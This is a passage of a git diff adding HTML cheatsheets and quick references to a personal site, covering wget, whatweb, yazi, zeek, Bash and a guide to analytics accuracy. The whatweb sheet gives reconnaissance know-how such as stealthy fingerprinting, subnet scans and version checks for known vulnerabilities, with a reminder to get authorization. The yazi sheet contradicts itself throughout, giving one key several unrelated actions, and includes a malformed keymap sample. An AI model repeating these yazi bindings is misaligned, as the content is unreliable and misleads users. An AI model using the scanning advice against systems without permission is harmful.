  • -k (--convert-links) - Convert for local viewing
  • +
  • -p (--page-requisites) - Get images, CSS, JS
  • +
  • -E (--adjust-extension) - Save as .html
  • +
  • -np (--no-parent) - Don't go to parent directory
  • +
+
+

wget vs curl

+
    +
  • wget - Better for downloads, recursive, mirroring
  • +
  • curl - Better for API calls, more protocols, more flexible
  • +
+
+

Tips

+
    +
  • Use -c to resume interrupted downloads
  • +
+
    +
  • Use -b for large files (runs in background)
  • +
+
    +
  • Use --limit-rate to be polite to servers
  • +
+
    +
  • Use -np to stay within target directory
  • +
+
    +
  • Use --random-wait to avoid being blocked
  • +
+
    +
  • Check wget log with tail -f wget-log
  • +
+
    +
  • Great for scripting and automation
  • +
+
    +
  • Be respectful when mirroring sites
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + diff --git a/cheatsheets/whatweb.html b/cheatsheets/whatweb.html new file mode 100644 index 0000000..4724cab --- /dev/null +++ b/cheatsheets/whatweb.html @@ -0,0 +1,250 @@ + + + + + + + + + + + whatweb Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

whatweb Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

WhatWeb identifies websites. It recognizes web technologies including CMS, blogging platforms, JavaScript libraries, web servers, embedded devices, version numbers, email addresses, and more.

+
+

Basic Usage

+
    +
  • whatweb <url> - Basic fingerprint
  • +
+
    +
  • whatweb example.com - Scan single target
  • +
+
    +
  • whatweb -i urls.txt - Scan from file
  • +
+
+

Aggression Levels

+
    +
  • -a 1 - Stealthy (1 request per target)
  • +
+
    +
  • -a 2 - Unused
  • +
+
    +
  • -a 3 - Aggressive (triggers additional requests)
  • +
+
    +
  • -a 4 - Heavy (tries all plugins, many requests)
  • +
+
+

Output Options

+
    +
  • -v - Verbose output (show all plugins)
  • +
+
    +
  • --color=never - Disable colors
  • +
+
    +
  • --log-brief=file.txt - Brief log format
  • +
+
    +
  • --log-verbose=file.txt - Verbose log format
  • +
+
    +
  • --log-xml=file.xml - XML output
  • +
+
    +
  • --log-json=file.json - JSON output
  • +
+
    +
  • --log-sql=file.sql - SQL insert statements
  • +
+
    +
  • --log-sql-create=file.sql - SQL with create table
  • +
+
+

Input Options

+
    +
  • -i, --input-file - Read targets from file
  • +
+
    +
  • --url-prefix - Add prefix to URLs
  • +
+
    +
  • --url-suffix - Add suffix to URLs
  • +
+
    +
  • --url-pattern - URL pattern for targets
  • +
+
+

Performance

+
    +
  • -t, --max-threads - Maximum threads (default 25)
  • +
+
    +
  • --wait - Wait between connections
  • +
+
    +
  • --max-redirects - Maximum redirects (default 10)
  • +
+
    +
  • --open-timeout - Connection timeout
  • +
+
    +
  • --read-timeout - Read timeout
  • +
+
+

HTTP Options

+
    +
  • -U, --user-agent - Custom user agent
  • +
+
    +
  • --header "Name:Value" - Add custom header
  • +
+
    +
  • -c, --cookie - Set cookie
  • +
+
    +
  • --cookie-jar - Cookie jar file
  • +
+
    +
  • -u, --user - HTTP basic auth (user:pass)
  • +
+
+

Proxy Options

+
    +
  • --proxy host:port - Use HTTP proxy
  • +
+
    +
  • --proxy-user user:pass - Proxy authentication
  • +
+
+

Plugin Options

+
    +
  • -l, --list-plugins - List all plugins
  • +
+
    +
  • -p, --plugins - Select plugins to use
  • +
+
    +
  • --grep - Search for regex in responses
  • +
+
    +
  • --info-plugins - Detailed plugin info
  • +
+
+

Common Examples

+

Basic Scan

+
whatweb example.com
+

Quick fingerprint of website.

+

Verbose Output

+
whatweb -v example.com
+

Show all detected technologies.

+

Aggressive Scan

+
whatweb -a 3 example.com
+

More thorough detection with additional requests.

+

Multiple Targets

+
whatweb example.com example.org example.net
+

Scan multiple sites at once.

+

From File

+
whatweb -i urls.txt --log-json=results.json
+

Scan list of URLs, output JSON.

+

With Custom User Agent

+
whatweb -U "Mozilla/5.0 (Windows NT 10.0)" example.com
+

Scan with custom user agent.

+

IP Range Scan

+
whatweb 192.168.1.0/24
+

Scan entire subnet for web servers.

+

Search for Specific Technology

+
whatweb -p WordPress example.com
+

Only check for WordPress.

+

Grep for Strings

+
whatweb --grep "admin" example.com
+

Search for strings in responses.

+
+

Common Plugins

+
    +
  • Apache - Apache web server
  • +
  • nginx - nginx web server
  • +
  • WordPress - WordPress CMS
  • +
  • Drupal - Drupal CMS
  • +
  • Joomla - Joomla CMS
  • +
  • PHP - PHP language
  • +
  • jQuery - jQuery library
  • +
  • Bootstrap - Bootstrap framework
  • +
  • Cloudflare - Cloudflare CDN
  • +
  • Google-Analytics - Analytics tracking
  • +
+
+

Tips

+
    +
  • Use -v for detailed output of all findings
  • +
+
    +
  • Start with aggression level 1 for stealth
  • +
+
    +
  • Level 3-4 can trigger WAF/IDS
  • +
+
    +
  • JSON output is great for parsing
  • +
+
    +
  • Combine with other recon tools for full picture
  • +
+
    +
  • Check version numbers for known vulnerabilities
  • +
+
    +
  • Can scan IP ranges for web service discovery
  • +
+
    +
  • Always get authorization before scanning
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + diff --git a/cheatsheets/yazi.html b/cheatsheets/yazi.html new file mode 100644 index 0000000..d83336a --- /dev/null +++ b/cheatsheets/yazi.html @@ -0,0 +1,571 @@ + + + + + + + + + + + Yazi Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

Yazi Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

Basic Navigation

+

File Navigation

+
    +
  • h or ← - Go to parent directory
  • +
+
    +
  • l or → or Enter - Enter directory / Open file
  • +
+
    +
  • j or ↓ - Move down
  • +
+
    +
  • k or ↑ - Move up
  • +
+
    +
  • gg - Go to top
  • +
+
    +
  • G - Go to bottom
  • +
+
    +
  • Ctrl+d - Scroll down half page
  • +
+
    +
  • Ctrl+u - Scroll up half page
  • +
+
    +
  • Ctrl+f - Scroll down full page
  • +
+
    +
  • Ctrl+b - Scroll up full page
  • +
+
    +
  • Home - Go to first file
  • +
+
    +
  • End - Go to last file
  • +
+

Quick Navigation

+
    +
  • ~ - Go to home directory
  • +
+
    +
  • - - Go to previous directory
  • +
+
    +
  • , - Go to previous directory (alternative)
  • +
+
    +
  • . - Toggle hidden files
  • +
+
    +
  • z - Go to parent directory
  • +
+
    +
  • Z - Go to previous directory
  • +
+
+

File Operations

+

Selection

+
    +
  • Space - Toggle selection
  • +
+
    +
  • v - Toggle selection (alternative)
  • +
+
    +
  • a - Select all
  • +
+
    +
  • A - Deselect all
  • +
+
    +
  • * - Invert selection
  • +
+
    +
  • ; - Select by pattern
  • +
+
    +
  • : - Deselect by pattern
  • +
+

Copy/Move/Delete

+
    +
  • y - Copy selected files
  • +
+
    +
  • x - Cut selected files
  • +
+
    +
  • p - Paste files
  • +
+
    +
  • P - Paste files (with overwrite prompt)
  • +
+
    +
  • d - Delete selected files
  • +
+
    +
  • D - Delete permanently (bypass trash)
  • +
+
    +
  • r - Rename file
  • +
+
    +
  • R - Bulk rename
  • +
+
    +
  • c - Copy file path
  • +
+
    +
  • C - Copy file name
  • +
+
    +
  • Y - Copy file path (absolute)
  • +
+

Create

+
    +
  • n - Create new file
  • +
+
    +
  • N - Create new directory
  • +
+
    +
  • m - Create new file (with prompt)
  • +
+
    +
  • M - Create new directory (with prompt)
  • +
+
+

Viewing and Opening

+

Viewing

+
    +
  • o - Open file (system default)
  • +
+
    +
  • O - Open file (with application selector)
  • +
+
    +
  • e - Open file in editor
  • +
+
    +
  • E - Open file in editor (with editor selector)
  • +
+
    +
  • w - Open file in preview
  • +
+
    +
  • W - Toggle preview
  • +
+
    +
  • i - Show file information
  • +
+
    +
  • I - Show file information (detailed)
  • +
+
    +
  • u - Show file URL
  • +
+
    +
  • U - Copy file URL
  • +
+

Preview

+
    +
  • w - Toggle preview
  • +
+
    +
  • W - Toggle preview (alternative)
  • +
+
    +
  • p - Toggle preview (alternative)
  • +
+
    +
  • P - Toggle preview (alternative)
  • +
+
+

Search and Filter

+

Search

+
    +
  • / - Search files
  • +
+
    +
  • ? - Search files (backward)
  • +
+
    +
  • n - Next match
  • +
+
    +
  • N - Previous match
  • +
+
    +
  • Esc - Clear search
  • +
+

Filter

+
    +
  • f - Filter files
  • +
+
    +
  • F - Filter files (case sensitive)
  • +
+
    +
  • Esc - Clear filter
  • +
+

Find

+
    +
  • ; - Find file by name
  • +
+
    +
  • : - Find file by name (backward)
  • +
+
+

Tabs and Windows

+

Tabs

+
    +
  • t - New tab
  • +
+
    +
  • T - New tab (with path)
  • +
+
    +
  • [ - Previous tab
  • +
+
    +
  • ] - Next tab
  • +
+
    +
  • { - Move tab left
  • +
+
    +
  • } - Move tab right
  • +
+
    +
  • q - Close tab
  • +
+
    +
  • Q - Close all tabs except current
  • +
+

Windows

+
    +
  • Tab - Switch between panes
  • +
+
    +
  • Ctrl+w - Close pane
  • +
+
    +
  • Ctrl+n - New pane
  • +
+
    +
  • Ctrl+h - Focus left pane
  • +
+
    +
  • Ctrl+j - Focus bottom pane
  • +
+
    +
  • Ctrl+k - Focus top pane
  • +
+
    +
  • Ctrl+l - Focus right pane
  • +
+
    +
  • H - Resize pane left
  • +
+
    +
  • J - Resize pane down
  • +
+
    +
  • K - Resize pane up
  • +
+
    +
  • L - Resize pane right
  • +
+
    +
  • = - Equalize pane sizes
  • +
+
+

Sorting and Display

+

Sorting

+
    +
  • s - Sort by name
  • +
+
    +
  • S - Sort by size
  • +
+
    +
  • t - Sort by modified time
  • +
+
    +
  • T - Sort by created time
  • +
+
    +
  • e - Sort by extension
  • +
+
    +
  • E - Sort by extension (reverse)
  • +
+
    +
  • r - Reverse sort order
  • +
+
    +
  • R - Toggle sort order
  • +
+

Display

+
    +
  • . - Toggle hidden files
  • +
+
    +
  • z - Toggle file size display
  • +
+
    +
  • Z - Toggle file size display (alternative)
  • +
+
    +
  • : - Toggle line numbers
  • +
+
    +
  • ; - Toggle line numbers (alternative)
  • +
+
+

Advanced Operations

+

Archive Operations

+
    +
  • a - Create archive
  • +
+
    +
  • A - Extract archive
  • +
+
    +
  • e - Extract archive (with prompt)
  • +
+

Git Operations

+
    +
  • g - Show git status
  • +
+
    +
  • G - Show git log
  • +
+
    +
  • b - Show git branches
  • +
+
    +
  • B - Show git branches (alternative)
  • +
+

System Operations

+
    +
  • ! - Execute shell command
  • +
+
    +
  • $ - Execute shell command (with output)
  • +
+
    +
  • & - Execute shell command (background)
  • +
+
    +
  • @ - Execute shell command (with prompt)
  • +
+

Other Operations

+
    +
  • u - Undo last operation
  • +
+
    +
  • U - Redo last operation
  • +
+
    +
  • r - Refresh directory
  • +
+
    +
  • R - Reload configuration
  • +
+
    +
  • : - Command mode
  • +
+
    +
  • Esc - Cancel operation
  • +
+
    +
  • Ctrl+c - Cancel operation (alternative)
  • +
+
+

Command Mode

+
    +
  • : - Enter command mode
  • +
+
    +
  • cd <path> - Change directory
  • +
+
    +
  • open <path> - Open path
  • +
+
    +
  • quit or q - Quit
  • +
+
    +
  • exit - Exit
  • +
+
    +
  • help - Show help
  • +
+
    +
  • version - Show version
  • +
+
    +
  • config - Open config file
  • +
+
    +
  • theme - Change theme
  • +
+
    +
  • plugin - Manage plugins
  • +
+
+

Configuration

+

Key Locations

+
    +
  • ~/.config/yazi/yazi.toml - Main config
  • +
+
    +
  • ~/.config/yazi/keymap.toml - Key bindings
  • +
+
    +
  • ~/.config/yazi/theme.toml - Theme config
  • +
+
    +
  • ~/.config/yazi/plugins/ - Plugins directory
  • +
+

Common Settings (yazi.toml)

+
[manager]
+sort_by = "alphabetical"
+sort_sensitive = true
+sort_reverse = false
+sort_dir_first = true
+linemode = "none"
+show_hidden = false
+show_symlink = true
+scrolloff = 5
+mouse_enabled = true
+
+[preview]
+tab_size = 2
+max_width = 600
+max_height = 900
+image_quality = 75
+

Common Key Bindings (keymap.toml)

+
[manager]
+keymap = [
+  { on = [ "<Enter>", "l" ], run = "open", desc = "Open file or enter directory" },
+  { on = [ "h", "<Left>" ], run = "leave", desc = "Go to parent directory" },
+  { on = [ "j", "<Down>" ], run = "move", desc = "Move down" },
+  { on = [ "k", "<Up>" ], run = "move", desc = "Move up" },
+  { on = [ "gg" ], run = "go 0", desc = "Go to top" },
+  { on = [ "G" ], run = "go -1", desc = "Go to bottom" },
+  { on = [ "<Space>" ], run = "select --toggle", desc = "Toggle selection" },
+  { on = [ "y" ], run = "copy", desc = "Copy files" },
+  { on = [ "x" ], run = "cut", desc = "Cut files" },
+  { on = [ "p" ], run = "paste", desc = "Paste files" },
+  { on = [ "d" ], run = "remove", desc = "Delete files" },
+  { on = [ "r" ], run = "rename", desc = "Rename file" },
+  { on = [ "n" ], run = "create", desc = "Create file" },
+  { on = [ "N" ], run = "create --dir", desc = "Create directory" },
+  { on = [ "/" ], run = "search", desc = "Search files" },
+  { on = [ "f" ], run = "filter", desc = "Filter files" },
+  { on = [ "t" ], run = "tab_create", desc = "Create tab" },
+  { on = [ "q" ], run = "tab_close", desc = "Close tab" },
+]
+
+

Tips

+
    +
  • Use :help for help
  • +
+
    +
  • Use :config to open config file
  • +
+
    +
  • Use :theme to change theme
  • +
+
    +
  • Use Ctrl+c to cancel operations
  • +
+
    +
  • Use Esc to clear search/filter
  • +
+
    +
  • Use Space to select multiple files
  • +
+
    +
  • Use y then p to copy and paste files
  • +
+
    +
  • Use x then p to cut and paste files
  • +
+
    +
  • Use / to search files quickly
  • +
+
    +
  • Use f to filter files
  • +
+
    +
  • Use t to create new tabs
  • +
+
    +
  • Use Tab to switch between panes
  • +
+
    +
  • Use . to toggle hidden files
  • +
+
    +
  • Use gg and G for quick navigation
  • +
+
    +
  • Use ~ to go to home directory
  • +
+
    +
  • Use - to go to previous directory
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + \ No newline at end of file diff --git a/cheatsheets/zeek.html b/cheatsheets/zeek.html new file mode 100644 index 0000000..b3a5b1d --- /dev/null +++ b/cheatsheets/zeek.html @@ -0,0 +1,211 @@ + + + + + + + + + + + zeek Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

zeek Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

zeek (formerly Bro) is a network security monitor and analysis framework.

+
+

Basic Usage

+
    +
  • zeek -r <pcap> - Analyze a pcap file
  • +
+
    +
  • zeek -i <interface> - Monitor live traffic on interface
  • +
+
    +
  • zeek -i <interface> -C - Monitor live traffic (ignore checksum errors)
  • +
+
    +
  • zeek <script> - Run zeek script
  • +
+
+

zeekctl Commands

+
    +
  • zeekctl start - Start all nodes
  • +
+
    +
  • zeekctl stop - Stop all nodes
  • +
+
    +
  • zeekctl restart - Restart all nodes
  • +
+
    +
  • zeekctl status - View node status
  • +
+
    +
  • zeekctl deploy - Check, install, and restart zeek
  • +
+
    +
  • zeekctl check - Syntax-check configs without restarting
  • +
+
    +
  • zeekctl top - Monitor resource usage across nodes
  • +
+
    +
  • zeekctl netstats - Show network statistics
  • +
+
    +
  • zeekctl diag - Run diagnostics
  • +
+
    +
  • zeekctl cron - Enable/disable cron jobs
  • +
+
+

Command Line Options

+
    +
  • -r <file> - Read from pcap file
  • +
+
    +
  • -i <interface> - Capture from interface
  • +
+
    +
  • -C - Ignore checksum errors (useful for NIC offloading)
  • +
+
    +
  • -f <filter> - Apply BPF filter
  • +
+
    +
  • -w <file> - Write output to file
  • +
+
    +
  • -b - Run in bare mode (minimal scripts)
  • +
+
    +
  • -s <script> - Load script file
  • +
+
    +
  • -p <plugin> - Load plugin
  • +
+
+

Configuration

+

Config File Locations

+
    +
  • /usr/local/zeek/etc/node.cfg - Node configuration
  • +
+
    +
  • /usr/local/zeek/etc/networks.cfg - Network configuration
  • +
+
    +
  • /usr/local/zeek/etc/zeekctl.cfg - zeekctl configuration
  • +
+
    +
  • /usr/local/zeek/share/zeek/site/local.zeek - Local scripts
  • +
+
    +
  • /opt/zeek/etc/ - Alternative install location
  • +
+

Example node.cfg

+
[zeek]
+type=standalone
+host=localhost
+interface=eth0
+

Example networks.cfg

+
10.0.0.0/8          Private IP Space
+172.16.0.0/12       Private IP Space
+192.168.0.0/16      Private IP Space
+
+

Log Files

+
    +
  • conn.log - Connection logs
  • +
+
    +
  • http.log - HTTP logs
  • +
+
    +
  • dns.log - DNS logs
  • +
+
    +
  • ssl.log - SSL/TLS logs
  • +
+
    +
  • files.log - File analysis logs
  • +
+
    +
  • Logs stored in: /usr/local/zeek/logs/current/
  • +
+
+

Tips

+
    +
  • Use zeek -C when listening on interfaces where checksum offloading causes invalid checksums
  • +
+
    +
  • Always test configs with zeekctl check before deploying
  • +
+
    +
  • Use the UID field from conn.log to correlate across logs (HTTP, DNS, etc.)
  • +
+
    +
  • After changing config files or scripts, use zeekctl deploy to apply changes
  • +
+
    +
  • Use zeekctl status, top, netstats for monitoring runtime status
  • +
+
    +
  • Enable JSON logs using LogAscii::use_json=T for integration with logging pipelines
  • +
+
    +
  • Logs are organized by date under logs/current/ and older ones under dated subfolders
  • +
+
    +
  • Make use of zeek's plugin/package manager zkg for easy extension
  • +
+
    +
  • Use BPF filters to reduce processing load on high-traffic networks
  • +
+
    +
  • Custom scripts can extend zeek's analysis capabilities
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + \ No newline at end of file diff --git a/docs/ANALYTICS_ACCURACY.md b/docs/ANALYTICS_ACCURACY.md new file mode 100644 index 0000000..f8f4721 --- /dev/null +++ b/docs/ANALYTICS_ACCURACY.md @@ -0,0 +1,143 @@ +# Analytics Accuracy Guide + +## How to Verify Analytics Accuracy + +Run the verification script to check for discrepancies: + +```bash +php /var/www/verify-analytics.php [YYYY-MM-DD] +``` + +If no date is provided, it checks today's data. + +## Current Accuracy Issues Found + +### 1. **Returning Visitor Count Bug** ⚠️ +The summary shows incorrect returning visitor counts. The script counts unique returning visitors, but the summary logic appears flawed. + +**Impact**: Returning visitor numbers are inflated. + +### 2. **RSS Click Tracking** +RSS clicks are tracked in two ways: +- Button clicks on the page (tracked via JavaScript) +- Actual RSS feed fetches (tracked via PHP in `feed.php`) + +**Impact**: RSS numbers may be double-counted or inconsistent. + +### 3. **No Bot Filtering** +Bot traffic (search engines, crawlers) is currently counted as regular visitors. + +**Impact**: Numbers may be inflated by 10-30% depending on site popularity. + +### 4. **Ad Blockers** +Users with ad blockers may block the analytics script entirely. + +**Impact**: Numbers may be deflated by 5-15% (depending on user base). + +### 5. **Self-Visits** +Your own visits are not filtered out. + +**Impact**: Development/testing visits inflate numbers. + +### 6. **Duplicate Pageviews** +Same visitor, same page, within 5 seconds = potential duplicate. + +**Impact**: Rapid navigation or page refreshes create duplicates. + +### 7. **New vs Returning Logic** +Currently only checks within the same day. A visitor who came yesterday but returns today is counted as "new" again. + +**Impact**: Returning visitor counts are inaccurate across days. + +## Factors Affecting Accuracy + +### ✅ What IS Tracked Accurately: +- Pageview timestamps (hourly breakdown is recalculated from raw data) +- Share counts (when JavaScript executes) +- Reaction counts (stored separately, very accurate) + +### ⚠️ What May Be Inaccurate: +- **Total visits**: May include bots, duplicates, self-visits +- **New vs Returning**: Only accurate within same day +- **RSS clicks**: May have double-counting issues +- **Unique visitors**: Uses localStorage, can be cleared/blocked + +## Recommendations to Improve Accuracy + +### 1. **Filter Bot Traffic** +Add bot detection in `track.php`: +```php +// Check user agent for bots +$ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; +$isBot = preg_match('/bot|crawler|spider|scraper/i', $ua); +if ($isBot) { + // Skip tracking or mark as bot +} +``` + +### 2. **Filter Self-Visits** +Add your IP(s) to a blocklist in `track.php`: +```php +$yourIPs = ['YOUR_IP_HERE', 'ANOTHER_IP']; +if (in_array($_SERVER['REMOTE_ADDR'], $yourIPs)) { + // Skip tracking +} +``` + +### 3. **Fix Returning Visitor Logic** +Store visitor history across days, not just within the same day. + +### 4. **Deduplicate Rapid Pageviews** +Add a cooldown period (e.g., same visitor + same page + <10 seconds = ignore). + +### 5. **Separate RSS Tracking** +Distinguish between: +- RSS button clicks (user intent) +- RSS feed fetches (automatic, may be bots) + +## Understanding Your Numbers + +### Realistic Accuracy Range +- **Pageviews**: ±15-25% (due to bots, ad blockers, duplicates) +- **Unique Visitors**: ±20-30% (localStorage can be cleared/blocked) +- **Shares**: ±5% (very accurate, requires JavaScript) +- **Reactions**: ±1% (very accurate, stored server-side) + +### What the Numbers Mean +- **Total Visits**: All page loads, including bots and duplicates +- **New Visitors**: First-time visitors today (not lifetime) +- **Returning Visitors**: Visitors who visited earlier today (not yesterday) +- **Hourly Breakdown**: Accurate (recalculated from timestamps) + +## Best Practices + +1. **Run verification script regularly** to catch discrepancies +2. **Focus on trends** rather than absolute numbers +3. **Compare with server logs** for validation +4. **Filter your own IP** for more accurate numbers +5. **Monitor for anomalies** (sudden spikes may be bots) + +## Quick Accuracy Check + +```bash +# Check today's data +php /var/www/verify-analytics.php + +# Check specific date +php /var/www/verify-analytics.php 2025-12-28 + +# Look for: +# - Discrepancies between summary and raw data +# - High bot counts +# - Duplicate pageviews +# - Rapid-fire visits +``` + +## Expected Accuracy + +For a typical personal blog: +- **Pageviews**: 70-85% accurate (after accounting for bots/ad blockers) +- **Unique Visitors**: 60-75% accurate (localStorage limitations) +- **Engagement** (shares/reactions): 95%+ accurate + +The analytics are **good enough for trends and general insights**, but don't rely on exact numbers for critical decisions. diff --git a/favicon.ico b/favicon.ico new file mode 100755 index 0000000..15f07d4 Binary files /dev/null and b/favicon.ico differ diff --git a/index.html b/index.html new file mode 100644 index 0000000..e5516c3 --- /dev/null +++ b/index.html @@ -0,0 +1,101 @@ + + + + + + + + + + + + Launch Pad + + + + gemini:// + + + .onion + + +

+
+ __ _______________________ _________._________________________ +/ \ / \_ _____/\______ \/ _____/| \__ ___/\_ _____/ +\ \/\/ /| __)_ | | _/\_____ \ | | | | | __)_ + \ / | \ | | \/ \| | | | | \ + \__/\ / /_______ / |______ /_______ /|___| |____| /_______ / + \/ \/ \/ \/ \/ + +
+
+

   +

+
+ +
+
+

Consume

+ Music + Kick + Videos + Streams +
+ +
+

Create

+ Ardour + Blender + Inkscape + Krita +
+ +
+

Extras

+ Calls + Cloud + Email + Git +
+
+


+ + + + + + + diff --git a/quickref/bash.html b/quickref/bash.html new file mode 100644 index 0000000..9b368c2 --- /dev/null +++ b/quickref/bash.html @@ -0,0 +1,286 @@ + + + + + + + + + + + Bash Quickstart Reference - Quick Reference - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +/ \ / \_ _____/\______ \/ _____/| \__ ___/\_ _____/ +\ \/\/ /| __)_ | | _/\_____ \ | | | | | __)_ + \ / | \ | | \/ \| | | | | \ + \__/\ / /_______ / |______ /_______ /|___| |____| /_______ / + \/ \/ \/ \/ \/ + +
+
+
+ + + +

Bash Quickstart Reference

+
+
+
+
+
+
+

← Back to quick reference

+

← Home

+
+

Quick reference guide for Bash. Essential syntax, control flow, variables, arrays, and common patterns for shell scripting.

+
+

Hello World

+
#!/bin/bash
+echo "Hello, World!"  # The shebang tells the system which interpreter to use
+
+

Variables

+
name="Alice"          # No spaces around =; quotes protect spaces
+x=42                  # Numbers are strings until you do math
+readonly PI=3.14      # Make variable read-only
+unset name            # Delete variable
+
+echo $name            # Access with $ prefix
+echo ${name}          # Braces are safer for variable expansion
+echo "${name}_suffix" # Use braces when concatenating
+
+

Control Flow

+

If/Else

+
if [ $x -gt 10 ]; then    # [ ] requires spaces; -gt means "greater than"
+    echo "x is big"
+else
+    echo "x is small"
+fi
+
+# Comparison operators: -eq, -ne, -lt, -le, -gt, -ge
+# String comparison: =, !=, -z (empty), -n (non-empty)
+
+if [ -f "file.txt" ]; then    # -f checks if file exists
+    echo "File exists"
+elif [ -d "dir" ]; then       # -d checks if directory exists
+    echo "Directory exists"
+fi
+

For Loops

+
for i in 1 2 3 4 5; do
+    echo $i
+done
+
+for i in {1..5}; do           # Brace expansion: 1 to 5
+    echo $i
+done
+
+for file in *.txt; do         # Iterate over files
+    echo "Processing $file"
+done
+
+for ((i=0; i<5; i++)); do     # C-style for loop
+    echo $i
+done
+

While Loops

+
while [ $x -gt 0 ]; do
+    echo $x
+    x=$((x - 1))              # Arithmetic expansion
+done
+
+# Read file line by line
+while IFS= read -r line; do
+    echo "$line"
+done < file.txt
+

Case Statement

+
case $choice in
+    "1")
+        echo "Option 1"
+        ;;
+    "2"|"two")
+        echo "Option 2"
+        ;;
+    *)
+        echo "Default case"
+        ;;
+esac
+
+

Functions

+
function greet() {
+    local name=$1              # $1 is first argument; local limits scope
+    echo "Hello, $name!"
+}
+
+greet "Alice"                  # Call function
+
+# Alternative syntax
+add() {
+    local a=$1
+    local b=$2
+    return $((a + b))         # Return exit code (0-255)
+}
+
+add 2 3
+result=$?                     # $? is exit code of last command
+
+

Arrays

+
fruits=("apple" "banana" "cherry")  # Declare array
+fruits[3]="date"                     # Add element
+echo ${fruits[0]}                    # Access element (apple)
+echo ${fruits[@]}                    # All elements
+echo ${#fruits[@]}                   # Array length
+
+for fruit in "${fruits[@]}"; do      # Iterate over array
+    echo $fruit
+done
+
+

Strings

+
text="Hello, World!"
+echo ${#text}                  # String length
+echo ${text:0:5}               # Substring: start at 0, length 5 ("Hello")
+echo ${text/World/Bash}        # Replace first match ("Hello, Bash!")
+echo ${text//l/L}              # Replace all matches
+echo ${text#Hello, }           # Remove shortest prefix match
+echo ${text##Hello, }          # Remove longest prefix match
+echo ${text% World!}           # Remove shortest suffix match
+echo ${text%% World!}          # Remove longest suffix match
+
+

Input / Output

+
read name                      # Read user input
+echo "Enter your name: "
+read -p "Name: " name         # Prompt and read in one line
+read -s password              # Silent input (for passwords)
+read -a array                 # Read into array
+
+echo "Hello"                  # Print to stdout
+echo -n "No newline"          # -n suppresses newline
+printf "Value: %d\n" 42       # Formatted output
+
+

Command Substitution

+
date=$(date)                  # Capture command output (modern syntax)
+date=`date`                   # Backticks (older syntax, less preferred)
+files=$(ls *.txt)             # List of files
+count=$(wc -l < file.txt)     # Line count
+
+# Process substitution
+diff <(sort file1.txt) <(sort file2.txt)
+
+

File Operations

+
# File tests
+[ -f "file.txt" ]             # File exists and is regular file
+[ -d "dir" ]                  # Directory exists
+[ -r "file.txt" ]             # File is readable
+[ -w "file.txt" ]             # File is writable
+[ -x "file.txt" ]             # File is executable
+[ -s "file.txt" ]             # File exists and is not empty
+
+# Reading files
+while IFS= read -r line; do
+    echo "$line"
+done < file.txt
+
+# Writing files
+echo "content" > file.txt     # Overwrite
+echo "content" >> file.txt   # Append
+
+

Arithmetic

+
x=10
+y=5
+
+# Arithmetic expansion
+result=$((x + y))             # Addition
+result=$((x - y))             # Subtraction
+result=$((x * y))             # Multiplication
+result=$((x / y))             # Division
+result=$((x % y))             # Modulo
+result=$((x ** 2))            # Exponentiation
+
+# Increment/decrement
+((x++))                       # Post-increment
+((++x))                       # Pre-increment
+((x--))                       # Decrement
+
+

Error Handling

+
set -e                        # Exit on error
+set -u                        # Exit on undefined variable
+set -o pipefail               # Exit on pipe failure
+
+# Trap errors
+trap 'echo "Error occurred"' ERR
+
+# Check command success
+if command; then
+    echo "Success"
+else
+    echo "Failed"
+fi
+
+# Check exit code
+command
+if [ $? -eq 0 ]; then
+    echo "Success"
+fi
+
+

Tips

+
    +
  • Always quote variables to prevent word splitting: "$var" not $var.
  • +
+
    +
  • Use [[ ]] instead of [ ] for more features and fewer surprises (Bash 4+).
  • +
+
    +
  • Use local in functions to avoid polluting global scope.
  • +
+
    +
  • Test file existence with -f (file) or -d (directory) before operations.
  • +
+
    +
  • Use $(( )) for arithmetic; it's safer than expr.
  • +
+
    +
  • Prefer $(command) over backticks for command substitution.
  • +
+
    +
  • Use read -r to prevent backslash interpretation when reading lines.
  • +
+
    +
  • Set IFS= when reading to preserve leading/trailing whitespace.
  • +
+
    +
  • Use set -e at the start of scripts to exit on errors (unless you handle them explicitly).
  • +
+
    +
  • Always start scripts with #!/bin/bash (or appropriate shebang) for portability.
  • +
+
    +
  • Use ${var:-default} to provide default values: name=${1:-"World"}.
  • +
+
    +
  • Check if a command exists before using it: +
    if command -v git &> /dev/null; then
    +    git --version
    +fi
    +
  • +
+
+
+
+
+ + + + + diff --git a/quickref/cpp.html b/quickref/cpp.html new file mode 100644 index 0000000..f9bb0f0 --- /dev/null +++ b/quickref/cpp.html @@ -0,0 +1,396 @@ + + + + + + + + + + + C++ Quickstart Reference - Quick Reference - Launch Pad + + + +

+
